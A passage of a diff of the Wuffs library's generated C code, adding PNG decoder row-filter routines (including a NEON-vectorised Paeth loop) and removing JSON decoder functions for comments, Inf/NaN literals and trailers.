(size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fafb = vaddl_u8(v_fa, v_fb); ++ v_fcfc = vaddl_u8(v_fc, v_fc); ++ v_pa = vabdl_u8(v_fb, v_fc); ++ v_pb = vabdl_u8(v_fa, v_fc); ++ v_pc = vabdq_u16(v_fafb, v_fcfc); ++ v_cmpab = vcleq_u16(v_pa, v_pb); ++ v_cmpac = vcleq_u16(v_pa, v_pc); ++ v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); ++ v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); ++ v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fc = v_fb; ++ v_fa = v_fx; ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; ++ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fafb = vaddl_u8(v_fa, v_fb); ++ v_fcfc = vaddl_u8(v_fc, v_fc); ++ v_pa = vabdl_u8(v_fb, v_fc); ++ v_pb = vabdl_u8(v_fa, v_fc); ++ v_pc = vabdq_u16(v_fafb, v_fcfc); ++ v_cmpab = vcleq_u16(v_pa, v_pb); ++ v_cmpac = vcleq_u16(v_pa, v_pc); ++ v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); ++ v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); ++ v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fc = v_fb; ++ v_fa = v_fx; ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; + } +- +- ok: +- self->private_impl.p_decode_comment[0] = 0; +- goto exit; ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); ++ while (v_curr.ptr < i_end1_curr) { ++ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_fafb = vaddl_u8(v_fa, v_fb); ++ v_fcfc = vaddl_u8(v_fc, v_fc); ++ v_pa = vabdl_u8(v_fb, v_fc); ++ v_pb = vabdl_u8(v_fa, v_fc); ++ v_pc = vabdq_u16(v_fafb, v_fcfc); ++ v_cmpab = vcleq_u16(v_pa, v_pb); ++ v_cmpac = vcleq_u16(v_pa, v_pc); ++ v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); ++ v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); ++ v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); ++ v_fc = v_fb; ++ v_fa = v_fx; ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; ++ } ++ v_curr.len = 0; ++ v_prev.len = 0; + } ++ return wuffs_base__make_empty_struct(); ++} ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++// ‼ WUFFS MULTI-FILE SECTION -arm_neon + +- goto suspend; +- suspend: +- self->private_impl.p_decode_comment[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++// -------- func png.decoder.filter_1 + +- goto exit; +- exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_1( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr) { ++ return (*self->private_impl.choosy_filter_1)(self, a_curr); ++} + +- return status; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_1__choosy_default( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr) { ++ uint64_t v_filter_distance = 0; ++ uint8_t v_fa = 0; ++ uint64_t v_i_start = 0; ++ uint64_t v_i = 0; ++ ++ v_filter_distance = ((uint64_t)(self->private_impl.f_filter_distance)); ++ v_i_start = 0u; ++ while (v_i_start < v_filter_distance) { ++ v_fa = 0u; ++ v_i = v_i_start; ++ while (v_i < ((uint64_t)(a_curr.len))) { ++ a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + v_fa)); ++ v_fa = a_curr.ptr[v_i]; ++ v_i += v_filter_distance; ++ } ++ v_i_start += 1u; ++ } ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func json.decoder.decode_inf_nan ++// -------- func png.decoder.filter_1_distance_3_fallback + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_json__decoder__decode_inf_nan( +- wuffs_json__decoder* self, +- wuffs_base__token_buffer* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint32_t v_c4 = 0; +- uint32_t v_neg = 0; ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_1_distance_3_fallback( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ uint8_t v_fa0 = 0; ++ uint8_t v_fa1 = 0; ++ uint8_t v_fa2 = 0; + +- wuffs_base__token* iop_a_dst = NULL; +- wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ v_curr.len = 3; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 6) * 6)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_fa0 = ((uint8_t)(v_fa0 + v_curr.ptr[0u])); ++ v_curr.ptr[0u] = v_fa0; ++ v_fa1 = ((uint8_t)(v_fa1 + v_curr.ptr[1u])); ++ v_curr.ptr[1u] = v_fa1; ++ v_fa2 = ((uint8_t)(v_fa2 + v_curr.ptr[2u])); ++ v_curr.ptr[2u] = v_fa2; ++ v_curr.ptr += 3; ++ v_fa0 = ((uint8_t)(v_fa0 + v_curr.ptr[0u])); ++ v_curr.ptr[0u] = v_fa0; ++ v_fa1 = ((uint8_t)(v_fa1 + v_curr.ptr[1u])); ++ v_curr.ptr[1u] = v_fa1; ++ v_fa2 = ((uint8_t)(v_fa2 + v_curr.ptr[2u])); ++ v_curr.ptr[2u] = v_fa2; ++ v_curr.ptr += 3; + } ++ v_curr.len = 3; ++ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3)); ++ while (v_curr.ptr < i_end1_curr) { ++ v_fa0 = ((uint8_t)(v_fa0 + v_curr.ptr[0u])); ++ v_curr.ptr[0u] = v_fa0; ++ v_fa1 = ((uint8_t)(v_fa1 + v_curr.ptr[1u])); ++ v_curr.ptr[1u] = v_fa1; ++ v_fa2 = ((uint8_t)(v_fa2 + v_curr.ptr[2u])); ++ v_curr.ptr[2u] = v_fa2; ++ v_curr.ptr += 3; ++ } ++ v_curr.len = 0; + } +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++ return wuffs_base__make_empty_struct(); ++} + +- uint32_t coro_susp_point = self->private_impl.p_decode_inf_nan[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++// -------- func png.decoder.filter_1_distance_4_fallback + +- while (true) { +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- continue; +- } +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 2u) { +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(wuffs_json__error__bad_input); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); +- continue; +- } +- v_c4 = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); +- if ((v_c4 | 2105376u) == 6712937u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) > 7u) { +- if ((wuffs_base__peek_u64le__no_bounds_check(iop_a_src) | 2314885530818453536u) == 8751735898823356009u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(10485792u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(8u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- iop_a_src += 8u; +- status = wuffs_base__make_status(NULL); +- goto ok; +- } +- } else if ( ! (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); +- continue; +- } +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(10485792u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(3u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- iop_a_src += 3u; +- status = wuffs_base__make_status(NULL); +- goto ok; +- } else if ((v_c4 | 2105376u) == 7233902u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(10485888u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(3u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- iop_a_src += 3u; +- status = wuffs_base__make_status(NULL); +- goto ok; +- } else if ((v_c4 & 255u) == 43u) { +- v_neg = 0u; +- } else if ((v_c4 & 255u) == 45u) { +- v_neg = 1u; +- } else { +- status = wuffs_base__make_status(wuffs_json__error__bad_input); +- goto exit; +- } +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 3u) { +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(wuffs_json__error__bad_input); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); +- continue; +- } +- v_c4 = (wuffs_base__peek_u32le__no_bounds_check(iop_a_src) >> 8u); +- if ((v_c4 | 2105376u) == 6712937u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) > 8u) { +- if ((wuffs_base__peek_u64le__no_bounds_check(iop_a_src + 1u) | 2314885530818453536u) == 8751735898823356009u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((10485760u | (((uint32_t)(32u)) >> v_neg)))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(9u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- iop_a_src += 9u; +- status = wuffs_base__make_status(NULL); +- goto ok; +- } +- } else if ( ! (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); +- continue; +- } +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((10485760u | (((uint32_t)(32u)) >> v_neg)))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- iop_a_src += 4u; +- status = wuffs_base__make_status(NULL); +- goto ok; +- } else if ((v_c4 | 2105376u) == 7233902u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((10485760u | (((uint32_t)(128u)) >> v_neg)))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- iop_a_src += 4u; +- status = wuffs_base__make_status(NULL); +- goto ok; +- } +- status = wuffs_base__make_status(wuffs_json__error__bad_input); +- goto exit; +- } ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_1_distance_4_fallback( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ uint8_t v_fa0 = 0; ++ uint8_t v_fa1 = 0; ++ uint8_t v_fa2 = 0; ++ uint8_t v_fa3 = 0; + +- ok: +- self->private_impl.p_decode_inf_nan[0] = 0; +- goto exit; ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ v_curr.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_fa0 = ((uint8_t)(v_fa0 + v_curr.ptr[0u])); ++ v_curr.ptr[0u] = v_fa0; ++ v_fa1 = ((uint8_t)(v_fa1 + v_curr.ptr[1u])); ++ v_curr.ptr[1u] = v_fa1; ++ v_fa2 = ((uint8_t)(v_fa2 + v_curr.ptr[2u])); ++ v_curr.ptr[2u] = v_fa2; ++ v_fa3 = ((uint8_t)(v_fa3 + v_curr.ptr[3u])); ++ v_curr.ptr[3u] = v_fa3; ++ v_curr.ptr += 4; ++ } ++ v_curr.len = 0; + } ++ return wuffs_base__make_empty_struct(); ++} + +- goto suspend; +- suspend: +- self->private_impl.p_decode_inf_nan[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++// -------- func png.decoder.filter_2 + +- goto exit; +- exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_2( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ uint64_t v_n = 0; ++ uint64_t v_i = 0; + +- return status; ++ v_n = wuffs_base__u64__min(((uint64_t)(a_curr.len)), ((uint64_t)(a_prev.len))); ++ v_i = 0u; ++ while (v_i < v_n) { ++ a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + a_prev.ptr[v_i])); ++ v_i += 1u; ++ } ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func json.decoder.decode_trailer ++// -------- func png.decoder.filter_3 + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_json__decoder__decode_trailer( +- wuffs_json__decoder* self, +- wuffs_base__token_buffer* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_3( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ return (*self->private_impl.choosy_filter_3)(self, a_curr, a_prev); ++} + +- uint8_t v_c = 0; +- uint32_t v_whitespace_length = 0; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_3__choosy_default( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ uint64_t v_filter_distance = 0; ++ uint64_t v_n = 0; ++ uint64_t v_i = 0; + +- wuffs_base__token* iop_a_dst = NULL; +- wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; ++ v_filter_distance = ((uint64_t)(self->private_impl.f_filter_distance)); ++ if (((uint64_t)(a_prev.len)) == 0u) { ++ v_i = v_filter_distance; ++ while (v_i < ((uint64_t)(a_curr.len))) { ++ a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + ((uint8_t)(a_curr.ptr[(v_i - v_filter_distance)] / 2u)))); ++ v_i += 1u; ++ } ++ } else { ++ v_n = wuffs_base__u64__min(((uint64_t)(a_curr.len)), ((uint64_t)(a_prev.len))); ++ v_i = 0u; ++ while ((v_i < v_n) && (v_i < v_filter_distance)) { ++ a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + ((uint8_t)(a_prev.ptr[v_i] / 2u)))); ++ v_i += 1u; ++ } ++ v_i = v_filter_distance; ++ while (v_i < v_n) { ++ a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + ((uint8_t)(((((uint32_t)(a_curr.ptr[(v_i - v_filter_distance)])) + ((uint32_t)(a_prev.ptr[v_i]))) / 2u))))); ++ v_i += 1u; + } + } +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++ return wuffs_base__make_empty_struct(); ++} + +- uint32_t coro_susp_point = self->private_impl.p_decode_trailer[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++// -------- func png.decoder.filter_3_distance_3_fallback + +- if (self->private_impl.f_quirks[18u]) { +- self->private_impl.f_trailer_stop = 10u; +- } else { +- self->private_impl.f_trailer_stop = 0u; +- } +- label__outer__continue:; +- while (true) { +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- continue; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_3_distance_3_fallback( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ wuffs_base__slice_u8 v_prev = {0}; ++ uint8_t v_fa0 = 0; ++ uint8_t v_fa1 = 0; ++ uint8_t v_fa2 = 0; ++ ++ if (((uint64_t)(a_prev.len)) == 0u) { ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ v_curr.len = 3; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 6) * 6)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_fa0 = ((uint8_t)(((uint8_t)(v_fa0 / 2u)) + v_curr.ptr[0u])); ++ v_curr.ptr[0u] = v_fa0; ++ v_fa1 = ((uint8_t)(((uint8_t)(v_fa1 / 2u)) + v_curr.ptr[1u])); ++ v_curr.ptr[1u] = v_fa1; ++ v_fa2 = ((uint8_t)(((uint8_t)(v_fa2 / 2u)) + v_curr.ptr[2u])); ++ v_curr.ptr[2u] = v_fa2; ++ v_curr.ptr += 3; ++ v_fa0 = ((uint8_t)(((uint8_t)(v_fa0 / 2u)) + v_curr.ptr[0u])); ++ v_curr.ptr[0u] = v_fa0; ++ v_fa1 = ((uint8_t)(((uint8_t)(v_fa1 / 2u)) + v_curr.ptr[1u])); ++ v_curr.ptr[1u] = v_fa1; ++ v_fa2 = ((uint8_t)(((uint8_t)(v_fa2 / 2u)) + v_curr.ptr[2u])); ++ v_curr.ptr[2u] = v_fa2; ++ v_curr.ptr += 3; + } +- v_whitespace_length = 0u; +- while (true) { +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if (v_whitespace_length > 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(v_whitespace_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- } +- if (a_src && a_src->meta.closed) { +- goto label__outer__break; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); +- goto label__outer__continue; +- } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- if (WUFFS_JSON__LUT_CLASSES[v_c] != 0u) { +- if (v_whitespace_length > 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(v_whitespace_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- } +- if (self->private_impl.f_trailer_stop > 0u) { +- status = wuffs_base__make_status(wuffs_json__error__bad_input); +- goto exit; +- } +- if (a_dst) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- status = wuffs_json__decoder__decode_comment(self, a_dst, a_src); +- if (a_dst) { +- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; +- } +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- if (self->private_impl.f_comment_type > 0u) { +- goto label__outer__continue; +- } +- status = wuffs_base__make_status(NULL); +- goto ok; +- } +- iop_a_src += 1u; +- if ((v_whitespace_length >= 65534u) || (v_c == self->private_impl.f_trailer_stop)) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)((v_whitespace_length + 1u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- if (v_c == self->private_impl.f_trailer_stop) { +- status = wuffs_base__make_status(NULL); +- goto ok; +- } +- goto label__outer__continue; +- } +- v_whitespace_length += 1u; ++ v_curr.len = 3; ++ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3)); ++ while (v_curr.ptr < i_end1_curr) { ++ v_fa0 = ((uint8_t)(((uint8_t)(v_fa0 / 2u)) + v_curr.ptr[0u])); ++ v_curr.ptr[0u] = v_fa0; ++ v_fa1 = ((uint8_t)(((uint8_t)(v_fa1 / 2u)) + v_curr.ptr[1u])); ++ v_curr.ptr[1u] = v_fa1; ++ v_fa2 = ((uint8_t)(((uint8_t)(v_fa2 / 2u)) + v_curr.ptr[2u])); ++ v_curr.ptr[2u] = v_fa2; ++ v_curr.ptr += 3; + } ++ v_curr.len = 0; ++ } ++ } else { ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ wuffs_base__slice_u8 i_slice_prev = a_prev; ++ v_prev.ptr = i_slice_prev.ptr; ++ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); ++ v_curr.len = 3; ++ v_prev.len = 3; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 6) * 6)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_fa0 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa0)) + ((uint32_t)(v_prev.ptr[0u]))) / 2u))) + v_curr.ptr[0u])); ++ v_curr.ptr[0u] = v_fa0; ++ v_fa1 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa1)) + ((uint32_t)(v_prev.ptr[1u]))) / 2u))) + v_curr.ptr[1u])); ++ v_curr.ptr[1u] = v_fa1; ++ v_fa2 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa2)) + ((uint32_t)(v_prev.ptr[2u]))) / 2u))) + v_curr.ptr[2u])); ++ v_curr.ptr[2u] = v_fa2; ++ v_curr.ptr += 3; ++ v_prev.ptr += 3; ++ v_fa0 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa0)) + ((uint32_t)(v_prev.ptr[0u]))) / 2u))) + v_curr.ptr[0u])); ++ v_curr.ptr[0u] = v_fa0; ++ v_fa1 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa1)) + ((uint32_t)(v_prev.ptr[1u]))) / 2u))) + v_curr.ptr[1u])); ++ v_curr.ptr[1u] = v_fa1; ++ v_fa2 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa2)) + ((uint32_t)(v_prev.ptr[2u]))) / 2u))) + v_curr.ptr[2u])); ++ v_curr.ptr[2u] = v_fa2; ++ v_curr.ptr += 3; ++ v_prev.ptr += 3; ++ } ++ v_curr.len = 3; ++ v_prev.len = 3; ++ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3)); ++ while (v_curr.ptr < i_end1_curr) { ++ v_fa0 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa0)) + ((uint32_t)(v_prev.ptr[0u]))) / 2u))) + v_curr.ptr[0u])); ++ v_curr.ptr[0u] = v_fa0; ++ v_fa1 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa1)) + ((uint32_t)(v_prev.ptr[1u]))) / 2u))) + v_curr.ptr[1u])); ++ v_curr.ptr[1u] = v_fa1; ++ v_fa2 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa2)) + ((uint32_t)(v_prev.ptr[2u]))) / 2u))) + v_curr.ptr[2u])); ++ v_curr.ptr[2u] = v_fa2; ++ v_curr.ptr += 3; ++ v_prev.ptr += 3; ++ } ++ v_curr.len = 0; ++ v_prev.len = 0; + } +- label__outer__break:; +- +- ok: +- self->private_impl.p_decode_trailer[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_decode_trailer[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- +- return status; ++ return wuffs_base__make_empty_struct(); + } + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JSON) +- +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZW) +- +-// ---------------- Status Codes Implementations +- +-const char wuffs_lzw__error__bad_code[] = "#lzw: bad code"; +-const char wuffs_lzw__error__truncated_input[] = "#lzw: truncated input"; +-const char 